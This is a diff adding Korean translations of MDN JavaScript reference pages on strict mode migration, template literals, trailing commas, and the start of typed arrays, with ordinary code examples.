+<p><code>'use strict';</code> 를 추가하게 되면, 아래의 경우에는 스크립트가 실행되기 전에{{jsxref("SyntaxError")}} 에러를 던진다.</p>
+
+<ul>
+ <li>Octal syntax <code>var n = 023;</code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with" title="/en-US/docs/JavaScript/Reference/Statements/with"><code>with</code></a> statement</li>
+ <li>Using <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="/en-US/docs/JavaScript/Reference/Operators/delete">delete</a></code> on a variable name <code>delete myVariable</code>;</li>
+ <li>Using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"><code>eval</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a> as variable or function argument name</li>
+ <li>Using one of the newly <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">reserved keywords</a> (in prevision for ECMAScript 2015): <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, and <code>yield</code></li>
+ <li>Declaring function in blocks <code>if (a &lt; b) { function f() {} }</code></li>
+ <li>Obvious errors
+  <ul>
+   <li>Declaring twice the same name for a property name in an object literal <code>{a: 1, b: 3, a: 7}</code> This is no longer the case in ECMAScript 2015 ({{bug(1041128)}}).</li>
+   <li>Declaring two function parameters with the same name <code>function f(a, b, b) {}</code></li>
+  </ul>
+ </li>
+</ul>
+
+<p>우리들의 명백한 에러나 나쁜 실수들이 드러나기 때문에 이러한 에러들은 좋다. 이러한 것들은 코드가 실행되기 전에 실행이 된다.</p>
+
+<h3 id="New_runtime_errors">New runtime errors</h3>
+
+<p>JavaScript는 컨테스트에서 조용한 실패에 익숙해져 있다. Strict mode는 이 같은 경우에는 던졌다. 만약 너의 코드베이스에 이 같은 경우가 포함되어있다면, 잘못된 것이 있는지 확인하기 위해 테스트가 필요할 것이다. 다시 한번, 함수 세분화된 단계에서 발생할 수 있다.</p>
+
+<h4 id="값을_선언되지_않은_변수로_설정하기">값을 선언되지 않은 변수로 설정하기</h4>
+
+<pre class="brush: js">function f(x) {
+  'use strict';
+  var a = 12;
+  b = a + x * 35; // error!
+}
+f(42);
+</pre>
+
+<p>이것은 예상된 효과가 드문 전역객체의 변수를 변경하는 데 사용된다. 만약에 정말로 전역객체의 변수를 부여하고 싶다면, 그것을 인수, 그것을 argument로 넘기고 property로 명시적 할당을 한다.</p>
+
+<pre class="brush: js">var global = this; // in the top-level context, "this" always
+                   // refers to the global object
+function f(x) {
+  'use strict';
+  var a = 12;
+  global.b = a + x * 35;
+}
+f(42);
+</pre>
+
+<h4 id="구성할_수_없는_속성을_삭제하려고_한다.">구성할 수 없는 속성을 삭제하려고 한다.</h4>
+
+<pre class="brush: js">'use strict';
+delete Object.prototype; // error!
+</pre>
+
+<p>비-엄격모드에서는 조용한 실패였으나 사용자의 기대에는 맞지 않다.</p>
+
+<h4 id="중독_된_인수_및_함수_속성">중독 된 인수 및 함수 속성</h4>
+
+<p>엄격모드에서 <code>arguments.callee</code>, <code>arguments.caller</code>, <code>anyFunction.caller</code>, or <code>anyFunction.arguments</code> 접근하려고 하면 에러를 던진다. 합법적인 사용 사례는 다음과 같은 함수를 다시 사용하는 것이다 : </p>
+
+<pre class="brush: js">// example taken from vanillajs: http://vanilla-js.com/
+var s = document.getElementById('thing').style;
+s.opacity = 1;
+(function() {
+  if ((s.opacity-=.1) &lt; 0)
+    s.display = 'none';
+  else
+    setTimeout(arguments.callee, 40);
+})();</pre>
+
+<p>이것을다음과 같이 재 작성할 수 있다 :</p>
+
+<pre class="brush: js">'use strict';
+var s = document.getElementById('thing').style;
+s.opacity = 1;
+(function fadeOut() { // name the function
+  if((s.opacity-=.1) &lt; 0)
+    s.display = 'none';
+  else
+    setTimeout(fadeOut, 40); // use the name of the function
+})();</pre>
+
+<h3 id="문법적_차이">문법적 차이</h3>
+
+<p>매우 미묘한 차이점들이 있다. 테스트 단위가 이런 종류의 미묘한 차이를 잡지 못할 수 있다. 이러한 차이점이 너의 코드의 의미에 영향을 주지 않도록, 코드 기반을 신중하게 검토해야 할 것이다. 다행히도,이 세심한 검토는 함수 세분성을 점차적으로 줄일 수 있다.</p>
+
+<h4 id="함수내부에서_불리는_this">함수내부에서 불리는 <code>this</code></h4>
+
+<p><code>f()</code> 라는 함수가 있을 때, <code>this</code> 값은 당연히 전역객체이다.  stict mode에서는 <code>undefined</code> 이다. 값은 원시값이고, 함수가 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="/en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/call">call</a></code> 나 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="/en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply">apply</a></code> 화 함께 불리게 된다면 값은 이것은 하나의 객체이다.(또는  <code>undefined</code> , <code>null</code> 인 전역객체). stict mode에서, 값은 변환이나 대체없이 직접 전달된다.</p>
+
+<h4 id="arguments_명명_된_함수_인수를_별명으로_지정하지_않습니다."><code>arguments</code> 명명 된 함수 인수를 별명으로 지정하지 않습니다.</h4>
+
+<p>비-엄격모드에서, <code>arguments</code>객체의 값을 수정하면 해당 명명 된 인수가 수정된다. 이로 인해 자바 스크립트 엔진에 대한 최적화가 복잡해지고 코드를 읽기 / 이해하기가 더 어려워졌다. 엄격모드에서, arguments 객체는 명명 된 인수와 동일한 값으로 만들어지고 초기화되지만 arguments 객체 또는 명명 된 인수에 대한 변경 사항은 서로 반영되지 않는다.</p>
+
+<h4 id="eval바꾸기"><code>eval</code>바꾸기</h4>
+
+<p>엄격모드에서, <code>eval</code> 은 그것이 불린 범위안에서 새로운 변수를 만들지 않는다.  또한 물론 엄격모드에서, 문자열은 엄격모드 규칙으로 평가된다. 아무 문제가 없는지 확인하기 위해서는 철저한 테스트를 수행해야 한다. 정말로 필요하지 않다면 eval을 사용하지 않는 것이 실용적인 해결책이 될 수 있다.</p>
+
+<h2 id="Strictness-neutral_code">Strictness-neutral code</h2>
+
+<p>A potential "downside" of moving strict code to strict mode is that the semantics may be different in legacy browsers which do not implement strict mode. In some rare occasions (like bad concatenation or minification), your code also may not run in the mode you wrote and tested it in. Here are the rules to make your code strictness-neutral:</p>
+
+<ol>
+ <li>코드를 엄격하게 작성하고 (위의 "New runtime errors" 섹션의) 엄격한 오류가 발생하지 않았는지 확인하십시오.</li>
+ <li>semantic 차이점으로 부터 멀리하라
+  <ol>
+   <li><code>eval</code>: 당신이 하는 일을 안다면, 그것을 사용해라</li>
+   <li><code>arguments</code>: 함수의 첫 번째 줄로 이름을 통해 항상 함수 인수에 액세스하거나 인수 객체의 복사본을 수행합니다 :<br>
+    <code>var args = Array.prototype.slice.call(arguments)</code></li>
+   <li><code>this</code>:  <code>this</code> 당신이 만든 대상을 가리킬 때 사용해라</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/template_literals/index.html b/files/ko/web/javascript/reference/template_literals/index.html
new file mode 100644
index 0000000000..3eaf2beb13
--- /dev/null
+++ b/files/ko/web/javascript/reference/template_literals/index.html
@@ -0,0 +1,254 @@
+---
+title: Template literals
+slug: Web/JavaScript/Reference/Template_literals
+tags:
+  - Template
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴입니다. 여러 줄로 이뤄진 문자열과 문자 보간기능을 사용할 수 있습니다. 이전 버전의 ES2015사양 명세에서는 "template strings" (템플릿 문자열) 라고 불려 왔습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>템플릿 리터럴은 이중 따옴표 나 작은 따옴표 대신 백틱(` `) (<a href="http://en.wikipedia.org/wiki/Grave_accent">grave accent</a>) 을 이용합니다.  템플릿 리터럴은 또한 플레이스 홀더를 이용하여 표현식을 넣을 수 있는데, 이는 $와 중괄호( <code>$ {expression}</code> ) 로 표기할 수 있습니다. 플레이스 홀더 안에서의 표현식과 그 사이의 텍스트는 함께 함수로 전달됩니다. 기본 함수는 단순히 해당 부분을 단일 문자열로 연결시켜 줍니다. 템플릿 리터럴 앞에 어떠한 표현식이 있다면(여기에서는 태그), 템플릿 리터럴은 "태그가 지정된 템플릿"이라고 불리게 됩니다. 이 때, 태그 표현식 (주로 함수)이 처리된 템플릿 리터럴과 함께 호출되면, 출력하기 전에 조작할 수 있습니다. 템플릿 리터럴 안에서 백틱 문자를 사용하려면 백틱 앞에 백슬러쉬(\)를 넣으십시오.</p>
+
+<pre class="brush: js notranslate">`\`` === "`" // --&gt; true</pre>
+
+<h3 id="Multi-line_strings">Multi-line strings</h3>
+
+<p>source 내에 삽입되는 newline characters(\n)은 template literal의 일부가 됩니다.</p>
+
+<p>일반 string 들을 사용하여, multi-line strings 들을 얻기 위해서는 아래와 같은 문법을 사용해야 할 것입니다.</p>
+
+<pre class="brush: js notranslate">console.log("string text line 1\n"+
+"string text line 2");
+// "string text line 1
+// string text line 2"</pre>
+
+<p>같은 효과를 template literal을 통해 얻기 위해서는, 아래와 같이 적을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"</pre>
+
+<h3 id="Expression_interpolation표현식_삽입법">Expression interpolation(표현식 삽입법)</h3>
+
+<p>표현식(expression)을 일반 문자열(normal strings)에 삽입하기 위해서, 당신은 다음의 문법을 사용할 수 있을 것입니다.</p>
+
+<pre class="brush: js notranslate">var a = 5;
+var b = 10;
+console.log("Fifteen is " + (a + b) + " and\nnot " + (2 * a + b) + ".");
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>template literals을 이용하면, 이를 더욱 읽기 쉽도록 다음과 같은 문법 설탕(syntactic sugar) 을 활용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and
+not ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."</pre>
+
+
+
+<h3 id="Nesting_templates">Nesting templates</h3>
+
+<p>특정한 경우 템플릿을 중첩하는 것이 구성 가능한 문자열을 읽는 읽기 가장 쉬운 방법입니다. 백 스페이스 템플릿 내에서 템플릿 내의 자리 표시자<code>${}</code>에 내부 백틱을 사용하는 것이 쉽습니다. 예를 들어, 조건 a가 참이면:이 템플릿을 문자 그대로 반환합니다.</p>
+
+<p>In ES5:</p>
+
+<pre class="notranslate"><code>var classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');</code></pre>
+
+<p>ES2015에서 중첩(nesting)없이 템플릿 리터럴 사용한 경우:</p>
+
+<pre class="notranslate"><code>const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;</code></pre>
+
+<p>ES2015에서 중첩된(nested) 템플릿 리터럴을 사용한 경우:</p>
+
+<pre class="notranslate"><code>const classes = `header ${ isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;</code></pre>
+
+
+
+<h3 id="Tagged_templates">Tagged templates</h3>
+
+<p>template literals 의 더욱 발전된 한 형태는 <em>tagged</em> templates 입니다. 태그를 사용하면 템플릿 리터럴을 함수로 파싱 할 수 있습니다. 태그 함수의 첫 번째 인수는 문자열 값의 배열을 포함합니다. 나머지 인수는 표현식과 관련됩니다. 결국 함수는 조작 된 문자열을 반환 할 수 있습니다 (또는 다음 예제에서 설명하는 것과 완전히 다른 결과를 반환 할 수 있습니다). function 이름은 원하는 어떤 것이든 가능합니다.</p>
+
+<pre class="notranslate"><code>var person = 'Mike';
+var age = 28;
+
+function myTag(strings, personExp, ageExp) {
+
+  var str0 = strings[0]; // "that "
+  var str1 = strings[1]; // " is a "
+
+  // 사실 이 예제의 string에서 표현식이 두 개 삽입되었으므로
+  // ${age} 뒤에는 ''인 string이 존재하여
+  // 기술적으로 strings 배열의 크기는 3이 됩니다.
+  // 하지만 빈 string이므로 무시하겠습니다.
+  // var str2 = strings[2];
+
+  var ageStr;
+  if (ageExp &gt; 99){
+    ageStr = 'centenarian';
+  } else {
+    ageStr = 'youngster';
+  }
+
+  // 심지어 이 함수내에서도 template literal을 반환할 수 있습니다.
+  return str0 + personExp + str1 + ageStr;
+
+}
+
+var output = myTag`that ${ person } is a ${ age }`;
+
+console.log(output);
+// that Mike is a youngster</code></pre>
+
+<p>다음 예시에서 보여지듯이, Tag function 들은 string 을 반환할 필요는 없습니다.</p>
+
+<pre class="brush: js notranslate">function template(strings, ...keys) {
+  return (function(...values) {
+    var dict = values[values.length - 1] || {};
+    var result = [strings[0]];
+    keys.forEach(function(key, i) {
+      var value = Number.isInteger(key) ? values[key] : dict[key];
+      result.push(value, strings[i + 1]);
+    });
+    return result.join('');
+  });
+}
+
+var t1Closure = template`${0}${1}${0}!`;
+t1Closure('Y', 'A');  // "YAY!"
+var t2Closure = template`${0} ${'foo'}!`;
+t2Closure('Hello', {foo: 'World'});  // "Hello World!"
+</pre>
+
+<h3 id="Raw_strings">Raw strings</h3>
+
+<p>태그 지정된 템플릿의 첫 번째 함수 인수에서 사용할 수있는 특별한 <code>raw</code> property을 사용하면  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in_strings">escape sequences</a> 처리하지 않고 원시 문자열을 입력 한대로 액세스 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>function tag(strings) {
+  console.log(strings.raw[0]);
+}
+
+tag`string text line 1 \n string text line 2`;
+// logs "string text line 1 \n string text line 2" ,
+// including the two characters '\' and 'n'</code></pre>
+
+<p>추가로, default template function 과 string 병합으로 생성될 것 같은 raw string 을 생성하기 위한 {{jsxref("String.raw()")}} method가 존재합니다.</p>
+
+<pre class="notranslate"><code>var str = String.raw`Hi\n${2+3}!`;
+// "Hi\n5!"
+
+str.length;
+// 6
+
+str.split('').join(',');
+// "H,i,\,n,5,!"</code></pre>
+
+
+
+<h3 id="Tagged_templates_and_escape_sequences">Tagged templates and escape sequences</h3>
+
+<h4 id="ES2016_behavior">ES2016 behavior</h4>
+
+<p>ECMAScript 2016에서 tagged templates은 다음 escape sequences의 규칙을 따릅니다.</p>
+
+<ul>
+ <li>Unicode escapes started by "\u", for example <code>\u00A9</code></li>
+ <li>Unicode code point escapes indicated by "\u{}", for example <code>\u{2F804}</code></li>
+ <li>Hexadecimal escapes started by "\x", for example <code>\xA9</code></li>
+ <li>Octal literal escapes started by "\" and (a) digit(s), for example <code>\251</code></li>
+</ul>
+
+<p>이는 다음과 같은 tagged template이 문제가 된다는 것을 의미하는데, ECMAScript문법에 따라, parser는 유효한 유니 코드 탈출 시퀀스가 있는지 확인하지만 형식이 잘못되었기 때문에 오류가 발생합니다.</p>
+
+<pre class="notranslate"><code>latex`\unicode`
+// Throws in older ECMAScript versions (ES2016 and earlier)
+// SyntaxError: malformed Unicode character escape sequence</code></pre>
+
+<h4 id="ES2018_revision_of_illegal_escape_sequences">ES2018 revision of illegal escape sequences</h4>
+
+<p>Tagged templates은 다른 escapes sequences가 일반적으로 사용되는 언어 (예 : <a href="https://en.wikipedia.org/wiki/Domain-specific_language">DSLs</a> 또는 <a href="https://en.wikipedia.org/wiki/LaTeX">LaTeX</a>)의 임베딩을 허용해야합니다. ECMAScript proposal <a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a> (4 단계, ECMAScript 2018 표준에 통합됨)은 tagged templates에서 ECMAScript escape sequences의 구문 제한을 제거합니다.</p>
+
+<p>그러나 illegal escape sequences는 여전히 "cooked"라고 표현되어야합니다. "cooked"배열의 {{jsxref ( "undefined")}} 요소로 나타납니다 :</p>
+
+<pre class="notranslate"><code>function latex(str) {
+ return { "cooked": str[0], "raw": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cooked: undefined, raw: "\\unicode" }</code></pre>
+
+<p>escape sequence 제한은 <em>tagged</em> templates에만 적용되며 <em>untagged</em> template literals에는 적용되지 않습니다.</p>
+
+<div class="warning">
+<p>let bad = `bad escape sequence: \unicode`;</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition. Defined in several section of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-template-literals">Template Literals</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in several section of the specification: <a href="https://tc39.github.io/ecma262/#sec-template-literals">Template Literals</a>, <a href="https://tc39.github.io/ecma262/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a></td>
+   <td>Stage 4 draft</td>
+   <td>Drops escape sequence restriction from tagged templates</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.grammar.template_literals")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Template-like strings in ES3 compatible syntax</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/">"ES6 in Depth: Template strings" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/trailing_commas/index.html b/files/ko/web/javascript/reference/trailing_commas/index.html
new file mode 100644
index 0000000000..aeaded7640
--- /dev/null
+++ b/files/ko/web/javascript/reference/trailing_commas/index.html
@@ -0,0 +1,185 @@
+---
+title: Trailing commas
+slug: Web/JavaScript/Reference/Trailing_commas
+tags:
+  - Comma
+  - ECMAScript
+  - ECMAScript2017
+  - ECMAScript5
+  - JavaScript
+  - Language feature
+  - Syntax
+  - Trailing comma
+  - 구문
+  - 자바스크립트
+  - 콤마
+  - 트레일링 콤마
+translation_of: Web/JavaScript/Reference/Trailing_commas
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p><strong>Trailing commas</strong> ("final commas"라고도 불립니다)는 새로운 엘리먼트나 매개변수, 속성을 JavaScript 코드에 추가할 때 유용합니다. 새로운 속성을 추가할 때, 마지막 줄에 trailing comma가 있다면 그 줄을 수정 없이 그대로 복사해 쓸 수 있습니다. 이외에도 버전 관리 이력이 간단해지고 코드 편집이 더 편해진다는 장점이 있습니다.</p>
+
+<p>JavaScript는 초기부터 배열 리터럴에 trailing comma를 허용했으며, ECMAScript 5부터는 객체 리터럴, ECMAScript 2017부터는 함수의 매개변수에도 허용하기 시작했습니다.</p>
+
+<p>그러나 {{Glossary("JSON")}}에서는 trailing comma를 허용하지 않습니다.</p>
+
+<h2 id="리터럴에서의_trailing_comma">리터럴에서의 trailing comma</h2>
+
+<h3 id="배열">배열</h3>
+
+<p>JavaScript는 배열에 나타나는 trailing comma를 무시합니다.</p>
+
+<pre class="brush: js notranslate">var arr = [
+  1,
+  2,
+  3,
+];
+
+arr; // [1, 2, 3]
+arr.length; // 3</pre>
+
+<p>trailing comma가 여러 개 있을 경우 빈 슬롯("구멍")이 생깁니다. 구멍이 있는 배열을 성기다<sup>sparse</sup>고 합니다(조밀한<sup>dense</sup> 배열에는 구멍이 없습니다). {{jsxref("Array.prototype.forEach()")}}나 {{jsxref("Array.prototype.map()")}}을 이용해 배열을 순회할 때는 빈 슬롯을 무시합니다.</p>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3,,,];
+arr.length; // 5
+</pre>
+
+<h3 id="객체">객체</h3>
+
+<p>ECMAScript 5부터는 객체 리터럴에도 trailing comma를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var object = {
+  foo: "bar",
+  baz: "qwerty",
+  age: 42,
+};</pre>
+
+<h2 id="함수에서의_trailing_comma">함수에서의 trailing comma</h2>
+
+<p>ECMAScript 2017에서는 함수의 매개변수 목록에 trailing comma를 허용합니다.</p>
+
+<h3 id="매개변수_정의">매개변수 정의</h3>
+
+<p>아래의 두 함수 정의는 모두 유효하며, 서로 같습니다. Trailing comma는 함수 정의의 <code>length</code> 속성이나 <code>arguments</code> 객체에 영향을 주지 않습니다.</p>
+
+<pre class="brush: js notranslate">function f(p) {}
+function f(p,) {}
+
+(p) =&gt; {};
+(p,) =&gt; {};
+</pre>
+
+<p>Trailing comma는 클래스나 객체의 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">메소드 정의</a>에도 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">class C {
+  one(a,) {},
+  two(a, b,) {},
+}
+
+var obj = {
+  one(a,) {},
+  two(a, b,) {},
+};
+</pre>
+
+<h3 id="함수_호출">함수 호출</h3>
+
+<p>아래의 두 함수 호출은 모두 유효하며, 서로 같습니다.</p>
+
+<pre class="brush: js notranslate">f(p);
+f(p,);
+
+Math.max(10, 20);
+Math.max(10, 20,);
+</pre>
+
+<h3 id="잘못된_trailing_comma">잘못된 trailing comma</h3>
+
+<p>함수의 매개변수 정의나 호출에 쉼표만 있을 경우 {{Jsxref("SyntaxError")}}가 발생합니다. 또한, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest 매개변수</a>를 사용할 때는 trailing comma를 사용할 수 없습니다.</p>
+
+<pre class="brush: js example-bad notranslate">function f(,) {} // SyntaxError: missing formal parameter
+(,) =&gt; {};       // SyntaxError: expected expression, got ','
+f(,)             // SyntaxError: expected expression, got ','
+
+function f(...p,) {} // SyntaxError: parameter after rest parameter
+(...p,) =&gt; {}        // SyntaxError: expected closing parenthesis, got ','
+</pre>
+
+<h2 id="구조_분해_할당에서의_trailing_comma">구조 분해 할당에서의 trailing comma</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a>의 좌변에도 trailing comma를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Trailing comma가 있는 배열 구조 분해
+[a, b,] = [1, 2];
+
+// Trailing comma가 있는 객체 구조 분해
+var o = {
+  p: 42,
+  q: true,
+};
+var {p, q,} = o;
+</pre>
+
+<p>Rest 원소가 있을 경우 역시 {{jsxref("SyntaxError")}}가 발생합니다.</p>
+
+<pre class="brush: js example-bad notranslate">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma</pre>
+
+<h2 id="JSON에서의_trailing_comma">JSON에서의 trailing comma</h2>
+
+<p>객체 안에서의 trailing comma는 ECMAScript 5에 와서야 추가되었습니다. JSON은 ES5 이전의 JavaScript 문법을 기초로 하므로 <strong>JSON에서는 trailing comma를 사용할 수 없습니다</strong>.</p>
+
+<p>아래의 두 줄 모두 <code>SyntaxError</code>를 발생합니다.</p>
+
+<pre class="brush: js example-bad notranslate">JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>JSON을 올바르게 파싱하려면 trailing comma를 제거해야 합니다.</p>
+
+<pre class="brush: js example-good notranslate">JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>객체 리터럴 trailing comma 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>변화 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ES2017에서 함수 trailing comma 추가</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.grammar.trailing_commas")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Initial ECMAScript proposal: <a href="https://github.com/tc39/proposal-trailing-function-commas">trailing function commas</a> by Jeff Morrison</li>
+</ul>
diff --git a/files/ko/web/javascript/typed_arrays/index.html b/files/ko/web/javascript/typed_arrays/index.html
new file mode 100644
index 0000000000..814ae7c885
--- /dev/null
+++ b/files/ko/web/javascript/typed_arrays/index.html
@@ -0,0 +1,222 @@
+---
+title: JavaScript 형식화 배열
+slug: Web/JavaScript/Typed_arrays
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Typed_arrays
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>JavaScript 형식화 배열(typed array)은 배열같은 객체이고 원시(raw) 이진 데이터에 액세스하기 위한 메커니즘을 제공합니다. 이미 아시다시피, {{jsxref("Array")}} 객체는 동적으로 늘었다 줄고 어떤 JavaScript 값이든 가질 수 있습니다. JavaScript 엔진은 이러한 배열이 빨라지도록 최적화를 수행합니다. 그러나, audio 및 video 조작과 같은 기능 추가, WebSocket을 사용한 원시 데이터에 액세스 등 웹 어플리케이션이 점점 더 강력해짐에 따라, 빠르고 쉽게 형식화 배열의 원시 이진 데이터를 조작할 수 있게 하는 것이 JavaScript 코드에 도움이 될 때가 있음이 분명해 졌습니다.</p>
+
+<p>그러나, 형식화 배열은 보통 배열과 혼동되지는 않습니다, 형식화 배열에 {{jsxref("Array.isArray()")}} 호출은 <code>false</code>를 반환하기에. 게다가, 보통 배열에 이용할 수 있는 모든 메서드가 형식화 배열에 의해 지원되지는 않습니다(가령 push 및 pop).</p>
+
+<h2 id="버퍼_및_뷰_형식화_배열_구조">버퍼 및 뷰: 형식화 배열 구조</h2>
+
+<p>최대 유연성 및 효율을 달성하기 위해, JavaScript 형식화 배열은 구현을 <strong>버퍼</strong> 및 <strong>뷰</strong>로 나눕니다. 버퍼 ({{jsxref("ArrayBuffer")}} 객체에 의해 구현됨)는 데이터 부분(chunk, 덩어리)을 나타내는 객체입니다; 이야기 할 형식이 없으며, 그 콘텐츠에 액세스하기 위한 메커니즘을 제공하지 않습니다. 버퍼에 포함된 메모리에 액세스하기 위해, 뷰를 사용할 필요가 있습니다. 뷰는 문맥(context, 즉 데이터 형, 시작 오프셋 및 요소 수)을 제공해 데이터를 실제 형식화 배열로 바꿉니다.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer">ArrayBuffer</h3>
+
+<p>{{jsxref("ArrayBuffer")}}는 일반 고정 길이 이진 데이터 버퍼를 나타내는 데 사용되는 데이터 형입니다. <code>ArrayBuffer</code> 콘텐츠를 직접 조작할 수는 없습니다; 대신에, 형식화 배열 뷰 또는 특정 형식으로 버퍼를 나타내는 {{jsxref("DataView")}}를 만들어 버퍼의 콘텐츠를 읽고 쓰기 위해 사용합니다.</p>
+
+<h3 id="형식화_배열_뷰">형식화 배열 뷰</h3>
+
+<p>형식화 배열 뷰는 자체 설명형 이름이 있으며 <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> 등과 같은 모든 일반 숫자 형을 위한 뷰를 제공합니다. 특별한 형식화 배열 뷰가 하나 있습니다, <code>Uint8ClampedArray</code>. 값은 0에서 255 사이로 단속(제한)합니다. 예를 들어, 이는 <a href="/ko/docs/Web/API/ImageData">Canvas 데이터 처리</a>에 유용합니다.</p>
+
+<p>{{page("/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_객체")}}</p>
+
+<h3 id="DataView">DataView</h3>
+
+<p>{{jsxref("DataView")}}는 버퍼에 임의 데이터를 읽고 쓰기 위해 getter/setter API를 제공하는 저레벨 인터페이스입니다. 예를 들어, 서로 다른 유형의 데이터를 처리하는 경우 유용합니다. 형식화 배열 뷰는 플랫폼의 본디(native) 바이트 순서(byte-order, {{Glossary("Endianness")}} 참조)에 속합니다. <code>DataView</code>로 바이트 순서를 제어할 수 있습니다. 기본으로 big-endian이고 getter/setter 메서드로 little-endian으로 설정될 수 있습니다.</p>
+
+<h2 id="형식화_배열을_사용하는_웹_API">형식화 배열을 사용하는 웹 API</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/FileReader#readAsArrayBuffer()"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt>
